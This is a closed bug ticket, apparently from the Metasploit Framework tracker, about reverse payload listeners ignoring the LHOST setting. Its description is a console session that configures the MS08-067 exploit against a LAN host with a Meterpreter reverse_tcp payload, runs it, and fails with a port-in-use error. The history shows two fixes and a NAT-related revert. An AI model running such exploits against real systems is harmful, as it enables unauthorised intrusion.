Ticket #262 (closed defect: fixed)

Opened 7 weeks ago

Last modified 7 weeks ago

reverse payloads don't honor LHOST

Reported by: egypt Owned by: egypt
Priority: major Milestone:
Component: framework3 Version:
Keywords: Cc:

Description

msf exploit(ms08_067_netapi) > ifconfig eth0:1|grep "inet addr"
[*] exec: ifconfig eth0:1|grep "inet addr"

          inet addr:192.168.3.99  Bcast:192.168.3.255  Mask:255.255.255.0
msf exploit(ms08_067_netapi) > ifconfig eth0|grep "inet addr"
[*] exec: ifconfig eth0|grep "inet addr"

          inet addr:192.168.3.2  Bcast:192.168.3.255  Mask:255.255.255.0
msf exploit(ms08_067_netapi) > netstat -pnat|grep 139
[*] exec: netstat -pnat|grep 139

tcp        0      0 192.168.3.2:139         0.0.0.0:*               LISTEN      5040/smbd           

msf exploit(ms08_067_netapi) > show options 

Module options:

   Name     Current Setting  Required  Description                             
   ----     ---------------  --------  -----------                             
   RHOST    192.168.3.126    yes       The target address                      
   RPORT    445              yes       Set the SMB service port                
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)  


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting                                         Required  Description                           
   ----      ---------------                                         --------  -----------                           
   DLL       /home/egypt/svn/framework3/data/meterpreter/metsrv.dll  yes       The local path to the DLL to upload   
   EXITFUNC  thread                                                  yes       Exit technique: seh, thread, process  
   LHOST     192.168.3.99                                            yes       The local address                     
   LPORT     139                                                     yes       The local port                        


Exploit target:

   Id  Name                 
   --  ----                 
   0   Automatic Targeting  


msf exploit(ms08_067_netapi) > exploit 

[-] Exploit failed: The address is already in use (0.0.0.0:139).
[*] Exploit completed, but no session was created.
msf exploit(ms08_067_netapi) > 


Change History

Changed 7 weeks ago by egypt

  • owner changed from hdm to egypt

Changed 7 weeks ago by egypt

  • status changed from new to closed
  • resolution set to fixed

(In [5969]) bind to LHOST instead of 0.0.0.0, fixes #262

Changed 7 weeks ago by egypt

  • status changed from closed to reopened
  • resolution deleted

Can't bind to LHOST because it breaks the case where msf is behind NAT.

Changed 7 weeks ago by egypt

  • status changed from reopened to closed
  • resolution set to fixed

(In [5971]) better handling of LHOST vs 0.0.0.0; fixes #262 again

Note: See TracTickets for help on using tickets.